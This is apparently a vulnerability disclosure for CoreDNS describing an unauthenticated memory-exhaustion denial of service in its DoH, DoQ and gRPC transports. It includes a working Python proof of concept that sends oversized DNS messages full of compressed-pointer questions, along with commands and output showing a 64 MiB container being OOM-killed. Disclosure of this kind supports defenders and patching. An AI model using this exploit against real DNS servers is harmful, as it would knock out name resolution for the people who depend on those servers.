CoreDNS: Unauthenticated memory exhaustion in custom transports

#!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct


def normal_query():
    header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
    question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
    return header + question, 1


def attack_query():
    message = bytearray(65535)
    offset = 12
    name_offset = offset

    for size in (63, 63, 63, 61):
        message[offset] = size
        offset += 1
        message[offset : offset + size] = b"\x01" * size
        offset += size

    message[offset] = 0
    offset += 1
    struct.pack_into("!HH", message, offset, 1, 1)
    offset += 4
    questions = 1

    while offset + 6 <= len(message):
        struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
        offset += 6
        questions += 1

    struct.pack_into(
        "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
    )
    return bytes(message[:offset]), questions


def send(payload):
    context = ssl._create_unverified_context()
    connection = http.client.HTTPSConnection(
        "127.0.0.1", 18053, timeout=3, context=context
    )
    try:
        connection.request(
            "POST",
            "/dns-query",
            body=payload,
            headers={"Content-Type": "application/dns-message"},
        )
        response = connection.getresponse()
        response.read()
        return f"http-{response.status}"
    except Exception:
        return "error"
    finally:
        connection.close()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--normal", action="store_true")
    parser.add_argument("--workers", type=int, default=1)
    args = parser.parse_args()

    payload, questions = normal_query() if args.normal else attack_query()
    print(
        f"payload={len(payload)} questions={questions} workers={args.workers}"
    )
    with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
        results = pool.map(send, [payload] * args.workers)
    print(Counter(results))


if __name__ == "__main__":
    main()

Build the Linux binary and container image:

GOCACHE=/tmp/coredns-gocache \
GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \
go build -tags=grpcnotrace -o coredns .
docker build --tag coredns-cd01:vulnerable .

Start CoreDNS with a 64 MiB memory and swap limit:

docker run --detach --name coredns-cd01 \
  --memory 64m --memory-swap 64m \
  --publish 127.0.0.1:18053:8053/tcp \
  --volume "$PWD/Corefile.cd01:/Corefile:ro" \
  --volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \
  --volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \
  coredns-cd01:vulnerable -conf /Corefile

Confirm that the listener works and that one malicious request is accepted:

$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})

$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})

Send 32 malicious requests concurrently and inspect the container:

$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})

$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137

OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.

Impact

This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.

In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.

CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.